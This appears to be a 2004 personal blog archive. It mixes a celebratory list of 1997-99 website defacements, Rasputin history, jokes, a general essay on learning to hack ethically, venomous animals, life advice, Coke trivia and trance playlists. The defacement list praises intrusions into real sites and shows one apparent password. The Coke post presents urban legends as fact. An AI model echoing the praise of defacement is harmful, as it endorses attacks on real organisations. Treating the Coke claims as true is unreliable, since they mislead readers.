12/8/97 ---> The hack of the year. The almighty Yahoo Search-engine gets hacked. It was only up for 15 minutes and could only be seen with certain browsers. See what people had to say on the CNN msg board, pretty funny actually.

FOX
hacked by ???
12/11/97 ---> FOX TV-network got hacked. (They are the ones showing the X-files in the US.) It was up for several hours.

China Agricultural University
hacked by W1n{}Dose & 1-s-d
12/31/97 ---> The same Chinese server as before was hacked once again. Why is USA trading with China and not with Cuba? Get those people out of Tibet! Anyway, Nice Hack!

Janet Jackson
hacked by Team CodeZero
1/2/98 ---> Janet Jackson's official homepage at www.janet-jackson.com looks different...

Rolling Stones
hacked by Team CodeZero
1/2/98 ---> Sharing server with Janet huh?! Wonder if they have the same producer and songwriter too? They should have quit -75 when they still rocked!

BMW
hacked by ???
1/2/98 ---> The german car-maker at bmw.com.

UNICEF
hacked by D.A.M.M.
1/7/98 ---> The United Nations Childrens Fund (UNICEF) was hacked. Free Kevin Mitnick or else...

Indonesia
hacked by LithiumError/ChiKo Torremendez
1/18/98 ---> About 15 Indonesian domains were hacked at the same time. This is a part of an anti-Suharto (ex President) Campaign. This page was up on the Indonesian National Police (military) HQ. The rest of the domains that were hacked are listed in the hacked page. Read the texts! Excellent Job!!

Intl. Church of Christ
hacked by ???
1/18/98 ---> "Eternal life in exchange for all your money, yeah, sure we promise!"

www.legislate.com
hacked by No|d Crew
1/21/98 ---> Nice statement! Couldn't agree more.

Saatchi&Saatchi
hacked by Trix&Vertex
2/19/98 ---> Saatchi&Saatchi gives out an award for communication innovations. This hack is the first I know of that is done with shockwave.

One Live Crew
hacked by ???
2/22/98 ---> Some parents who got fed up with the music their kids are listening to?

A Turkish University
hacked by Gr Power
3/5/98 ---> A turkish university hacked in protest of the Turkish presence on Cyprus. More info to come on this one.

NAMBLA
hacked by 74074
3/6/98 ---> For you who didn't know, NAMBLA stands for "North American Man/Boy Love Association".

US Army
hacked by No|d Crew
3/8/98 ---> Three different United States Army servers were hacked. http://bliss.www.army.mil, http://www.essd.army.mil and http://www.7sigbde.army.mil. Speaks for itself...

US Navy
hacked by No|d Crew
3/9/98 ---> The Naval Space Command at http://www.navspace.navy.mil/ was hacked. If you have heard about the so called "Pentagon hackers", you should really read this and learn a thing or two about media.

Korean Heritage College
hacked by RaPtoR 666
4/14/98 ---> The Korean Heritage College of North America was hacked! The link on the page won't take you very far...

Motorola
hacked by H4CK1NG F0R G1RL13Z
8/21/98 ---> Motorola was hacked twice the same day. One was at the semiconductor division at http://sps.motorola.com/ and the other the frontpage of Motorola's Japanese domain: http://www.mot.co.jp Both hacks more or less looked the same.

Arsenal F.C.
hacked by Cumbrian Hackers Alliance
8/30/98 ---> Arsenal Football Club's official homepage was hacked in protest of Carlisle United's manager Michael Knighton (aliens huh?!). Was hacked twice in 24 hrs.

New York Times
hacked by H4CK1NG F0R G1RL13Z
9/12/98 ---> Some really nice hacks coming from this group. Thumbs up! New York Times...well I'll leave it with that.

id Software
hacked by rd
9/24/98 ---> id Software's domain quake3.com was hacked. The page was changed several times, but was not up for very long. Alteration is at the bottom of the page. Thanx Kolby!

SCO
hacked by ax
11/7/98 ---> SCO (Santa Cruz Corporation) had several servers hacked in different countries. SCO's Mexican site at http://www.sco.com.mx and SCO's South African site at http://www.sco.co.za/ are two of them. SCO sells server sollutions... Good for them.

Jack Daniels
hacked by FLUXX
12/14/98 ---> Jack Daniels... Password: heavymetal1980 ?

Calgary Publ. Library
hacked by the leprechaun
1/25/99 ---> Kind of odd target for an Irish freedom fighter, but there's nothing wrong with the spirit! Thx Grampa-E!

Greenpeace
hacked by ???
1/27/99 ---> Personally I feel that Greenpeace do a pretty damn good job. Doesn't Greenpeace have pretty much the same message as the hack?

Front National
hacked by RaPtoR 666
1/28/99 ---> The French faschist party "Front National" has been hacked. Extremely well done!!
The original hack is in French. An English translation can be found here. Thanx for the translation GrandMeister!

200 Cigarettes
hacked by MagicFX
2/20/99 ---> Some Hollywood movie at http://www.200cigarettes.com

Dominos Pizza
hacked by Cyrus
2/28/99 ---> Dominos pizza was hacked with four toppings and extra cheese.

MonicaLewinsky.com
hacked by Magic FX
3/5/99 ---> MonicaLewinsky.com was appropriately hacked right after she (that woman, Ms. Lewinsky) had told an entire nation that the President's wife couldn't do it for him.

Pussy-Power.com
hacked by ???
3/5/99 ---> More Monica Lewinsky related material

Greek Ministry of Foreign Affairs
hacked by Kalamata Hacking
3/23/99 ---> Hack in support of PKK (Kurdish) leader Öcalan (freedomfighter/terrorist?) who Greek authorities turned over to the Turkish. The Turkish government is seeking to sentence him to death. Sure showed who came out as the stronger government in the battle between Greece and Turkey... Bad move by the Greek government, concidering the somewhat non-existing Turkish human rights standards.

Hot Bot
hacked by ???
3/25/99 --> HotBot, one of the "big 5" searchengines, was hacked. Things that make you go hmmm...

Playboy, Sprint, Yellowpages.ca, Sony Music
hacked by ???
4/4/99 ---> Multiple famous domains were hacked and replaced with this site. In addition to the ones listed to the left were: www.barbra-streisand.com, www.oreilly.com, www.umd.edu, www.hornyrob.com, sun.ca and several others.

Rasputin's last letter

2004-07-22T16:24:00.000+02:00

Believe it or not. This was Rasputin's last letter.

I write and leave behind me this letter at St. Petersburg. I feel that I shall leave life before January 1st. I wish to make known to the Russian people, to Papa, to the Russian Mother and to the children, to the land of Russia, what they must understand. If I am killed by common assassins, and especially by my brothers the Russian peasants, you, Tsar of Russia, have nothing to fear, remain on your throne and govern, and you, Russian Tsar, will have nothing to fear for your children, they will reign for hundreds of years in Russia. But if I am murdered by boyars, nobles, and if they shed my blood, their hands will remain soiled with my blood, for twenty-five years they will not wash their hands from my blood. They will leave Russia. Brothers will kill brothers, and they will kill each other and hate each other, and for twenty-five years there will be no noblers in the country. Tsar of the land of Russia, if you hear the sound of the bell which will tell you that Grigory has been killed, you must know this: if it was your relations who have wrought my death then no one of your family, that is to say, none of your children or relations will remain alive for more than two years. They will be killed by the Russian people...I shall be killed. I am no longer among the living. Pray, pray, be strong, think of your blessed family.
Words written by Grigory Rasputin in a letter to the Tsarina Alexandra, 7 Dec 1916
23 days later, Rasputin was killed, by two relatives of the Tsar Nicholas II
19 months after Rasputin's death, the Tsar and his family lay dead

More story about Rasputin

2004-07-22T15:15:00.000+02:00

Here's more story about Rasputin. Read up, and let me know what you think.

Grigory Yefimovich Rasputin was born in Tobolsk, far away from the Imperial Capital of St. Petersburg, in 1871. In the years he remained within the Imperial court, witnesses, including doctors, concluded he possessed some extraordinary healing power over the Tsarevich and his deadly illness, hemophilia. Rasputin's mysterious ability to heal Alexei convinced the Tsarina Aleksandra that Rasputin must have been sent by God himself. In her mind he was he the answer to her prayers for God to save her son. His influence over the Imperial government has been debated for decades. Rasputin's rise to political influence was due to his close relationship with the Tsarina. During World War I, with the Tsar at the front, the Tsarina was in command of the Imperial government. With Alexandra, a German born Princess, in control of the Russian government at a time when Russia was at war with Germany, the Russian people held a horrible hatred towards her. There is no doubt among historians that Rasputin gave his advice on government affairs freely to the Tsarina. But Rasputin's power was more illusion than reality. Any and all ministry recommendations he may have gave to the Tsarina were ultimely approved of and backed by Nicholas, who more or less accepted the Tsarina's decisions even against his own wishes. Rasputin, in the end, for the Russian people, became a scapegoat of a failed empire.
Rasputin's original rise to the Imperial court began as Russia attempted to establish a constitutional monarchy. Nicholas had appointed a new Prime Minister, Peter Stolypin after the October Manifesto. Stolypin was Russia's last hope at intelligent government. His tenure saw major advances in industry and argriculture. Russia, under Stolypin, prospered. However, to the Tsarina, Stolypin was evil. Her hatred for this man who had done so much to preserve Nicholas' throne, was rooted in that Stolypin had had the courage to take on Rasputin. Stolypin repeatedly told the Tsar that he needed to distance himself and his family from Rasputin. At one point, Stolypin brought to the Tsar documented proof of Rasputin's wild antics. Alas, the Tsar ignored Stolypin, not wanting to take away from Alexandra the one man she believed could save her sons life. Alexandra's deep hate for Stolypin ended on September 5, 1911, when a revolutionary, not happy that Stolypin's industrial efforts had thwarted revolution, assassinated him at the Kiev Opera House, right in front of the Tsar.
Any number of highly respected men in the Russian Orthodox Church fell for Rasputin soon after his appearance at the Imperial court. A holy man he called himself, which in itself was a fallacy, for Rasputin was neither a monk nor a priest. He was, in fact, a starets, an unordained, wandering holy man. Eventually, these supporters turned on him and attempted to send him away from St. Peterburg. But Rasputin knew how to deal with enemies in the church. If a monk, or even a Bishop, opposed him, they might find themself suddenly sent to a remote assignment. Rumors swirled that Rasputin had seduced the Empress, the Grand Duchesses, and Anna Vyrubova, a close friend of the Tsarina whom Rasputin had miraculousy raised from a coma following a terrible train accident. These rumors, which reached the highest circles of society where they were immediately repeated by Aleksandra's foes, drove Nicolas to near insanity. The remoteness and isolation of the Imperial Family at the Alexander Palace in Tsarskoe Selo allowed for the people to believe any rumor. People began to believe Rasputin had hypnotic control over the Tsar and the Tsarina.
In 1911, only a few months before his assassination, Stolypin made yet another attempt to convince the Tsar of Rasputin's evil activities. The Tsar read his report, and said nothing. Stolypin decided to take action. He ordered Rasputin to leave St. Petersburg, outraging the Tsarina. Rasputin though, left St. Petersburg, beginning a journey to the Holy Land of Jerusalem. But this self imposed banishment from St. Petersburg was short lived.
For in October of 1912, while the Tsar and his family were at their hunting lodge in Spala, Alexei fell on the side of a bathtub. Bruising and bleeding, Alexei was in terrible pain. The doctors could do nothing for him, and Alexandra spent ten days without sleep at his bedside. A notice was drawn up announcing the death of the heir. Desperate, the Tsarina telegramed Rasputin. "God has seen your tears," Rasputin wired back. "Do not grieve. The Little One will not die." Within hours of receiving this telegram, the bleeding had subsided and Alexei began to recover. This incident regained Rasputin to full favor within the Imperial family.
In the spring of 1915, at the urging of Alexandra (and Rasputin), the Tsar took total command of the Russian army fighting in World War I, from his relative, the Grand Duke Nicholas Nikolaievich. Nicholas did this despite protests from within the Imperial government. This, while it boosted morale at first, eventually helped lead to the downfall of the Romanovs, for it was at this time, when Alexandra let Raputin's advice lead Russia towards revolution.
Finally, by late 1916, Vladimir Purishkevich, a member of the Duma, denounced Rasputin before his colleagues. It soon became apparent Purishkevich belonged to a aristocratic plot to murder Rasputin. In December, a group of aristocrats, including the Grand Duke Dmitri Pavlovich (a cousin of Nicholas), decided that Rasputin's influence on the Imperial government had grown too great and that he had to be killed in order to save the monarchy, and Russia. They lured him to the Yussupov Palace on the impression that Prince Felix Yussupov (another relative of the Tsar) would introduce Rasputin to his beautiful wife.
The prince's group had prepared chocolate cakes and wine, both heavily laced with potassium cyanide. Rasputin reluctantly ate a few cakes, then complained of a dry throat and guzzled d o wn the wine-at this point he had taken enough cyanide to kill six men. Rasputin said he felt a burning sensation in his stomach and appeared sleepy for a few moments, then suddenly became alert and asked the prince to sing for him. The nervous Yussupov co m plied, then ran upstairs to inform his co-conspirators that the poison had no effect. He got a pistol from them, then went back to the waiting Rasputin, was looking at an art object, either a painting or a crucifix. The prince asker Rasputin to take a clo s er look, then shot him in the chest. Sure that Rasputin was dead, Yussupov got his friends, who checked the body. Soon after, Yussupov came back down. (Note: Despite what early stories say, Yussupov was probably not throwing up over the balcony while his f riends were looking at the body.) As he bent over to look at Rasputin, the formerly lifeless corpse rose and grabbed Yussupov in an unbreakable grip. Yussupov freed himself, perhaps by knifing Rasputin, and ran out the door. According to diaries, Rasputin actually got up and ran out the door, where he was chased and shot. The body was taken back inside, beaten, tied up and thrown in the Neva river. When Rasputin's body was found the next day, his ties were broken and his lungs were filled with water, showing that he didn't actually die until he was submerged in the frozen waters.
Rasputin was dead, but, it was too late, for the monarchy was dead as well.

A more story of LIFE FACTS...

2004-07-19T00:59:00.000+02:00

Looks like some of you like my research about Bathory. That's from real life, past history. Now how about a bit more taste of real life story... Ever heard about Rasputin? Probably from the Boney M. song. Well, it's correct. But you don't know who he is right? now let me tell you.

Grigory Rasputin was born in 1869 in Siberia, arrived in St. Petersburg in 1911 and within a few years had become one of the most influential men in government circles. His ability to remain in such a high position despite widely publicized bouts of drinking and womanizing is no doubt the source of tremendous envy among political figures around the world today.

Rasputin's rise to preeminence was due to his close relationship with Nicholas II's wife, Alexandra. The heir to the throne, Alexis, suffered from hemophaelia, and only Rasputin could do what the top medical professors could not: he could stop the boy's bleeding. Because of this, Alexandra believed he was a holy man sent to protect Alexis and she kept him close by at all times, despite the fact that he rarely bathed.

Grigory Rasputin is as famous for his death as he is for his life. At the end of 1916, a group of aristocrats in cahoots with the Grand Duke Dmitri Pavlovich (a cousin of Nicholas II) decided that Rasputin's influence had grown too great and that he had to be killed in order to save Russia. They lured him to the Yusupovsky Palace on the pretext that Prince Felix Yusupovsky would introduce Grigory Rasputin to his beautiful wife.

Rasputin was led to the cellar and fed poisoned cakes and wine, but these did affect him. Yusupovsky then shot the monk at point blank range and Rasputin collapsed on the floor. When Yusupov went to tell his fellow conspirators the good news, they sent him back to make sure he had done the job. On returning to inspect the body, Grigory Rasputin suddenly regained consciousness and started to throttle poor Yusupov, who needless to say was completely scared out of his wits. The Prince fled the cellar, screaming for help; when they returned Rasputin was gone. They found him in the yard crawling towards the gate and proceeded to shoot and bludgeon him. They then bound him and tossed him into the river. When Rasputin's body was found, his bonds were broken and his lungs were filled with water, showing that he didn't actually die until he was submerged in the frozen waters.

Before his death, Grigory Rasputin wrote a letter to Tsarina Alexandra:
"I write and leave behind me this letter at St. Petersburg. I feel that I shall leave life before January 1st. I wish to make known to the Russian people, to Papa, to the Russian Mother and to the children, to the land of Russia, what they must understand. If I am killed by common assassins, and especially by my brothers the Russian peasants, you, Tsar of Russia, have nothing to fear, remain on your throne and govern, and you, Russian Tsar, will have nothing to fear for your children, they will reign for hundreds of years in Russia. But if I am murdered by boyars, nobles, and if they shed my blood, their hands will remain soiled with my blood, for twenty-five years they will not wash their hands from my blood. They will leave Russia. Brothers will kill brothers, and they will kill each other and hate each other, and for twenty-five years there will be no noblers in the country. Tsar of the land of Russia, if you hear the sound of the bell which will tell you that Grigory has been killed, you must know this: if it was your relations who have wrought my death then no one of your family, that is to say, none of your children or relations will remain alive for more than two years. They will be killed by the Russian people...I shall be killed. I am no longer among the living. Pray, pray, be strong, think of your blessed family."

23 days later, Rasputin was killed, by two relatives of the Tsar Nicholas II

19 months after Rasputin's death, the Russian Tsar and his family were executed.

I'll tell you a more detail story about this guy. His life is interesting to know. I'm sure about it. Soon... Coming soon... Life story of Rasputin.

Some to read...

2004-07-14T13:48:00.000+02:00

10 Most Stupid Questions

1. At the movies: When you meet acquaintances/friends...
Stupid Question:- Hey, what are you doing here?
Answer:- Don't u know, I sell tickets in black over here..

2. In the bus: A heavy lady wearing pointed high heeled shoes steps on your feet...
Stupid Question:- Sorry, did that hurt?
Answer:- No, not at all, I'm on local anesthesia..... why don't you try again.

3. At a funeral: One of the teary eyed people ask...
Stupid Question:- Why, why him, of all people.
Answer:- Why? Would it rather have been you?

4. At a restaurant: When you ask the waiter
Stupid Question:- Is the "Paneer Butter Masala" dish good??
Answer:- No, its terrible and made of adulterated cement. We occasionally also spit in it.

5. At a family get-together: When some distant aunt meets you afteryears...
Stupid Question:- Munna,Chickoo, you've become so big.
Answer:- Well you haven't particularly shrunk yourself.

6. When a friend announces her wedding, and you ask...
Stupid Question:- Is the guy you're marrying good?
Answer:- No, he's a miserable wife beating,insensitive lout...it's just the money

7. When you get woken up at midnight by a phone call...
Stupid Question:- Sorry. were you sleeping?
Answer:- No. I was doing research on whether the Zulu tribes in africa marry or not. And you thought I was sleeping.... you dumb witted moron.

8. When you see a friend/colleague with evidently shorter hair...
Stupid Question:- Hey have you had a haircut?
Answer:- No, its autumn and I'm shedding......

9. At the dentist when he's sticking pointed objects in your mouth...
Stupid Question:- Tell me if it hurts?
Answer:- No it wont. It will just bleed.

10. You are smoking a cigarette and a cute woman asks...
Stupid Question:- Oh, so you smoke.
Answer:- Gosh, it's a miracle ............it was a piece of chalk and now it's in flames!!!

As you requested...

2004-07-13T00:38:00.000+02:00

Looking for advice on how to learn the guts and bowels of a system or network, get inside it, and become a real expert? Maybe I can help there. How you use this knowledge is up to you. I hope you'll use it to contribute to computer science and hacking (in its good sense), not to become a cracker or vandal.

This little essay is basically the answers to all the emails I get asking how to become a hacker. It's not a tutorial in and of itself. It's certainly not a guaranteed success. Just give it a try and see what happens. That said, here's where to start:

Be curious
Take things apart. Look under the hood. Dig through your system directories and see what's in there. View the files with hex editors. Look inside your computer. Wander around computer stores and look at what's there.

Read everything in sight
If you can afford it, buy lots of books. If you can't, spend time in libraries and online. Borrow books from friends. Go through tutorials. Read the help files on your system. If you're using Unix/Linux, read the man files. Check out the local college bookstores and libraries. And as you're reading, try things.

Experiment
Don't be afraid to change things, just to see what'll happen. Do this long enough, of course, and you'll wipe out your system, but that's part of becoming a hacker. Try command options and switches you've never tried before. Look for option menus on programs and see what they can do. In Windows, tweak your registry and see what happens. Change settings in .INI files. In Unix, dig around in the directories where you don't normally go.

Make backups
If you start mucking around with system files, registries, password files, and such, you will eventually destroy your system. Have a backup ready. If you can afford it, have a system you use just for experimenting, ready to reload on a moment's notice, and do your serious work on a different computer.

Get some real tools
You can't cut a board in half with a screwdriver. Well, maybe you can, but it'll take a long time. Dig around and find the proper tools for the operating systems you're using. They're out there on the Web. You can get some pretty good stuff as shareware or freeware (especially on Linux). The serious power tools often cost serious money. What kinds of tools? Hex file editors. Snoopers that analyze system messages and network traffic. Compilers and APIs for programming. Scripting tools. Disk editors/formatters. Disassemblers. When you get good, write some of your own.

Learn to program
If you want to be a hacker, you're going to have to learn to program. The easiest way to start depends on the operating system you're using. The choice of language is very individual. It's almost a religious thing. Suggest a programming language to a beginner, and someone will disagree. Heck, you'll probably get flamed for it in a newsgroup. In Unix, I'd suggest getting started with Perl. In Windows, you can get started quickly using a visual development environment like Visual Basic or Java. No matter what the system, if you want to get serious, you'll eventually need to learn C (or C++ or C# or some other variant). Real hackers know more than one programming language, anyway, because no one language is right for every task.

Learn to type
Hackers spend a lot of time at their keyboards. I type 90+ wpm (according to the Mavis Beacon typing tutor). HackingWiz (of hackers.com and Hacker's Haven BBS fame) says he can type 140+ wpm. The typing tutor may be boring, but it pays off.

Use real operating systems
Windows 95/98/Me is a shell on top of a 32-bit patch to a 16-bit DOS. Get some real operating systems (Linux, Windows NT, Mac OS, OS/2...) and learn them. You can't call yourself a linguist if you only know one language, and you certainly can't call yourself a hacker if you only know one OS. Linux is a hacker's dream. All the source code is freely available. Play with it, analyze it, learn it. Eventually, perhaps you can make a contribution to Linux yourself. Who knows, you might even have a chance to write your own OS.

Talk to people
It's hard to learn in a vacuum. Take classes. Join users groups or computer clubs. Talk to people on IRC or newsgroups or Web boards until you find people to learn with. That can take a while. Every third message on newsgroups like alt.hack* is "teach me to hack." Sigh. The best way to be accepted in any group is to contribute something. Share what you learn, and others will share with you.

Do some projects
It's important to pick some projects and work until you've finished them. Learning comes from doing, and you must follow the project through start to finish to really understand it. Start really simple. Make an icon. Customize your system (the startup screen on Win95, or the prompt on Unix). Make a script that performs some common operation. Write a program that manipulates a file (try encrypting something).

Learn to really use the Internet
Start with the Web. Read the help for the search engines. Learn how to use Boolean searches. Build up an awesome set of bookmarks. Then move on to other Internet resources. Get on Usenet. Find some underground BBSs. Get on IRC. You'll find useful information in the strangest places. Get to the point where you can answer your own questions. It's a whole lot faster than plastering them all over various newsgroups and waiting for a serious answer.

Once you've gone through these steps, go out and contribute something. The Internet was built by hackers. Linux was built by hackers. Usenet was built by hackers. Sendmail was built by hackers. Be one of the hackers that builds something.

Harmless animal or ...

2004-07-12T23:41:00.000+02:00

I'll tell you more about animal this time. Think about some animal or creature that you think harmless. A lot right? Well probably some animals in your mind are not like what you think. They can be harmful. Well let's see here.

Venomous animals use a toxin or poison to kill prey or to defend themselves. They deliver the toxin with specialized organs, like stingers, fangs, hollow fangs, a proboscis, or tentacles.

Venomous animals are different from poisonous animals. Poisonous animals (like toads) have a toxin but have no method of delivery; when another animal eats the poisonous animal, the predator may become ill or even die.

Some venom (neurotoxin) attacks the nervous system, causing pain, paralysis, and eventually death by heart or lung failure; cobras, stonefish, black widow spiders, and scorpions use neurotoxins. Other venom (hemotoxin) attacks the circulatory system, causing pain, swelling, and changes in the blood; rattlesnakes, vipers and some spiders use hemotoxins.

Some of the most venomous animals (the ones with the most potent venom) include the yellow-lipped sea krait (a sea snake), box jellyfish, sea wasp jellyfish, blue-ringed octopus, reef stonefish, the inland taipan, and cone shells. Other venomous animals, like Russell's viper (Vipera russelii) kill more people because they are more aggressive and live near people.

Only a few mammals are venomous, including the duckbilled platypus (only males), several species of shrews, and the Solenodon (a small insectivore).

Some of the animals are:
- Ants: Ants are social insects. Some ants ants may either bite or sting.
- Assassin Bugs: Assassin bugs are a type of predatory insect.
- Bee: Bees are flying, social insects that live in a hive.
- Black Widow Spider: A very venomous spider with a distinctive red hourglass marking.
- Blue Ring Octopus: A small but very venomous octopus from warm reefs in Australia and nearby regions.
- Centipide: Fast-moving venomous predators with many legs.
- Coral: Coral is a tiny marine animal that often lives in colonies. Huge colonies of hard corals form coral reefs.
- Cuttlefish: Cuttlefish are cephalopods with relatively short legs, a fin along the entire mantle, and an internal cuttlebone.
- Duck-Billed Platypus: The Duck-billed Platypus is a primitive mammal from Australia; males have a venomous spike on the leg.
- Gila Monster: A venomous lizard from deserts of southwestern North America.
- Jellyfish: Jellyfish are animals that have stinging tentacles.
- The King Cobra: The King Cobra is the largest venomous snake in the world. It lives in India, southern China, and southeast Asia.
- Komodo Dragon: The biggest lizard in the world and a fierce predator that poisons its prey with its bite.
- Man of War: The Portuguese man-of-war is a floating colony of animals that has very long, stinging tentacles. It lives in warm ocean waters.
- Octopus: Octopi have eight arms and live on the sea floor.
- Rattlesnake: Rattlesnakes are venomous snakes that have a rattle at the end of the tail.
- Sea Anemone: A predatory animal that looks like a flower and lives on the ocean floor.
- Scorpion: A venomous arachnid with a large stinger on its tail. Found worldwide except in Antarctica.
- Sea Urchin: A spiny, globular animal that lives on the ocean floor. Some sea urchins have venomous spines.
- Stingray: Stingrays are flat fish with a stinger, and no bones (only cartilage).
- Tarantula: A tarantula is a large, hairy spider.
- Wasp: Wasps are insects with 2 pairs of wings and strong jaws. Many wasps are venomous.
- Yellow Jacket: A yellow jacket is a type of social wasp, a flying, stinging insect.

Things to do before reaching the age of 30

2004-07-09T02:17:00.000+02:00

You should start to look back through your life. See what have you did, achieved, etc. And think about it. You only live once. Don't waste it just because of some stupid reason like you want to impress your girlfriend or boyfriend, parents, friends, teachers, etc. This is the chance for you!!! What's your age? Still teenage right? So go and have fun, follow what your heart says. This is the age of having fun. Later if you already reach the age of serious life, you can only regret that you haven't did a lot of cool and exciting things. Here are some of the things that maybe able to make you think again about what you want to do.

- Drive a wickedly cool car, even if you have to rent it. "Wickedly cool" is defined as any car that turns heads on the streets. They say life is a journey and you should enjoy the ride. Well, if that's the case, you might as well ride in style at least once.

- Date against type. Better yet, date somebody "dangerous." Waking up tied to a bed with a person who has more tattoos than brains will give you stories to regale other members of the old-age home in your dotage. Also, dating "dangerous" types will make you realize what jerks they are. And make you less likely to pass up a lifelong love affair with someone you're really compatible with. Or if you already tend to date dangerous, then date someone your mother would like. What the heck, she might be right.

- See the world. It's much easier to do when you're 22 and footloose than 35 with two bawling babies in your backpack. Go cheap and travel light. This leaves you open to more adventures. Youth hostels are inexpensive and, even better, you'll meet tons of other adventurers there.

Seeing the world will broaden your horizons and make you a more interesting person. Plus interesting and funny things happen when you travel and remember, your 20s are your time to live the stories that you'll be telling for the rest of your life.

- Live in a cool place. Maybe a loft in a trendy neighborhood "in transition," maybe just camped out on the beach in your van.

- If you're going to drink a lot, do it when you're young. Getting sick on cheap white wine after 30 is pretty pathetic. Young drunks sometimes get away with being "cute," though you may still have a lot of apologizing to do. Get this experimentation out of your system and you'll appreciate finer spirits when you get older.

- Take risks with your job. I've noticed that most people end up changing direction in their careers after their 20s anyway, so, take the time to figure out what you want to do. There will be time enough to be a cubicle drone later.

Aim for the career you've dreamed of doing. If you have a chance to be a model or a dancer, go for it. Get the job in the big city. Volunteer to work on the big project that could make or break the company. Start up a smoothie business with your college buddy.

Or just have fun for now. You might want to be a bartender at the hottest club in town and pick up a lot of dates. Or take a low-paying job at the zoo just because you like animals. Later, when you've got the mortgage and 2.3 kids and a time share in Cocoa Beach, fun will be the last thing on your mind at the office.

- Do something physically adventurous. And do it OUTSIDE! No one will ever be remembered for playing Nintendo or watching every single episode of "Friends." Enjoy your body while you're young, push it to its limits, soon enough, you'll watch your muscles turn to flab and your rear end inflate like a rubber raft.

- Take your parents to dinner. You'll probably have to struggle with your dad about paying the check, but this is one of those grown up things to do. It gives you a chance to show your parents that you are an equal and that you are responsible. It's also a chance to show your appreciation for all those dinners they bought over the years.

- Do volunteer work. You may be broke, but you can give your sweat and earnestness to a cause in which you believe. In addition to improving your world, you can allow yourself to be exposed to others in the world. Work in a soup kitchen and you'll appreciate your un air conditioned, one bedroom apartment.

- Use this decade to go to extremes. Climb the tallest mountain you can find. Picnic at midnight. Learn to sail. Talk to strangers. Road trip to New Orleans for Mardi Gras. Take a midnight drive to the beach then stick around for dawn.

What you think good, is actually...

2004-07-01T00:03:00.000+02:00

Do you like to drink soda? I bet you drink Coca-cola the most. At least once a week. Right? Well I used to drink it too. But stop to drink soda and cafeinne since a year ago or more. My reason is because it's not good for health. But I don't exactly can tell the reasons. Recently I found these on Internet. Well they are different from my reason. But at least these reasons shows how bad the soda can be. (No offence Coca-cola, Sprite, 7-up, Mountain Dew, etc.)

- To clean a toilet: Pour a can of Coke into the toilet. Let it sit for one hour, then flush clean.

- To remove rust spots from chrome car bumpers: Rub the bumper with a crumpled-up piece of Reynolds Wrap aluminum foil dipped in Coke.

- To clean corrosion from car battery terminals: Pour a can of Coke over the terminals to bubble away the corrosion.

- To loosen a rusted bolt: Applying a cloth soaked in Coke to the rusted bolt for several minutes.

- To bake a moist ham: Empty a can of Coke into the baking pan; wrap the ham in aluminum foil, and bake. Thirty minutes before the ham is finished, remove the foil, allowing the drippings to mix with the Coke for a sumptuous brown gravy.

- To remove grease from clothes: Empty a can of Coke into a load of greasy clothes, add detergent, and run through a regular cycle. The Coke will help loosen grease stains.

- It will also clean road haze from your windshield!

- In many states the highway patrol carries two gallons of Coke in the truck to remove blood from the highway after a car accident.

Now these just scare the hell out of me:

- There was a competition in Delhi University: "Who can drink the most Coke?". The winner drank 8 bottles and died on the spot because he had too much carbon dioxide in the blood and not enough oxygen.

- If you put a broken tooth in a bottle of Pepsi, in 10 days it will fully dissolve!

Why people dislike Trance...

2004-06-29T17:44:00.000+02:00

Trance music seems to be get less and lesser fans these days. Some people might think that trance music are getting worse or outdated. But actually that's not the reason.

Here is why:
- Trance is elusively the easiest to make. So everyone is making it.
- You have people who make EuroCheese but call it Trance. They give bad names to Trance when they are not Trance.
- EuroCheese is bubblegum so they enter music charts very easily. They become annoying because they aren't good music and they get too much airplayed.
- People who weren't into Trance in the first place grew angry as they get annoyed by EuroCheese. They do not and cannot distinguish between Cheese and Trance. So they swear to hate Trance due to their confusion.
- Trance requires people to take time and let go to build the "trancy" feeling. Nowadays, who has time anymore? Trance and Eurocheese tend to sound alike in the intros. People who do not know Trance never get to learn to distinguish between the two. They never learn how to properly listen to Trance. As EuroCheese occupies the chart, these people grew even more angry at Trance.
- If Trance is dead, the ones to blame are Eurocheese supportors and those who never take time to have time to distinguish between real Trance and EuroCheese.

A few tracks you should already have listened to and analyzed before saying Trance sucks.
- 4 Strings - Daylight (Above and Beyond mix)
- ATB - 9 p.m. till I come (Matt Darey mix)
- Art of Trance - Madagascar (Ferry Corsten mix)
- Ascension - Someone
- BT - Flaming June
- Chemical Brothers - Leave Home (Underworld mix 1)
- Chicane - Autumn Tactics (The Thrillseekers mix)
- Chicane - Offshore 1999
- Dario G - Voices (Tekara mix)
- Drax and Scott Mac - Angel (Magik Musik mix)
- Duncan Sheik - On A High (Gabriel & Dresden Mix)
- Erasure - Chorus (Youth's Trancendental mix)
- Fragma - Toca Me (Original non vocal)
- Gabrielle - Rise (Matt Darey Mix)
- Gouryella - Wallhala (original mix)
- Hurley & Todd - Sunstorm (Matt Darey Mix)
- Hydra - Affinity (The Thrillseekers mix)
- Jacob & Mendez - Moondust (Airbase Remake)
- Jam & Spoon - Odyssey to Ayoona
- Jam & Spoon - The Secret Kind of Love
- KLEA - Tic Toc (Magik Muzik Mix)
- Kirsty Hawkshaw - Fine Day (Mike Koglin Remix)
- Libra Presents Taylor Anamoly - Calling Your Name (Ferry Corsten mix)
- Lost Tribe - Gamemaster
- Lost Tribe - Under the Red Sea
- Matt Darey feat. Marcella Woods - Beautiful
- Mike Koglin - Enjoy the Silence (Tekara mix)
- Nalin & Kane - Open Your Eyes
- New Order - Blue Monday (Hardfloor Mix)
- NightCrawlers - Never Knew Love Like This (Matt Darey Mix)
- Nitromethane - Time to Die (Seraque remix)
- Pet Shop Boys - Young Offender (Trip-o-matic Fairtytale mix)
- Pulp Victim - The World (Ferry Corsten mix)
- Solar Stone - Seven Cities (Atlantis edit)
- Sonique - It Feels So Good (En-Motion Remix)
- Technique - The Sun is Shining (Matt Darey Mix)
- The Thrillseekers feat. Sheryl Duane - Fly Away
- Tilt - Invisible
- Underworld - Cherry Pie
- Underworld - Jumbo (Future Shock Worlds Apart Mix)
- Underworld - Pearls' Girl
- Underworld - Tin There
- Underworld - Two Months Off (King Unique Sunspots Vocal Mix)
- Y-Traxx - Mystery Land
- Yoji Biomehanika - Theme from Banginglobe (System F remix)

Save mother earth...

2004-06-28T23:53:00.000+02:00

Endangered Species all around the world. Spot them, don't harm them, save them...

I love animal so much. If I can, I want to be one of the WWF member.

Here are some endangered species.
- African Elephant (Loxodonta africana)
- Asian Elephant (Elephas maximus)
- Right Whale (Eubalaena glacialis)
- Blue Whale (Balaenoptera musculus)
- Fin Whale (Balaenoptera physalus)
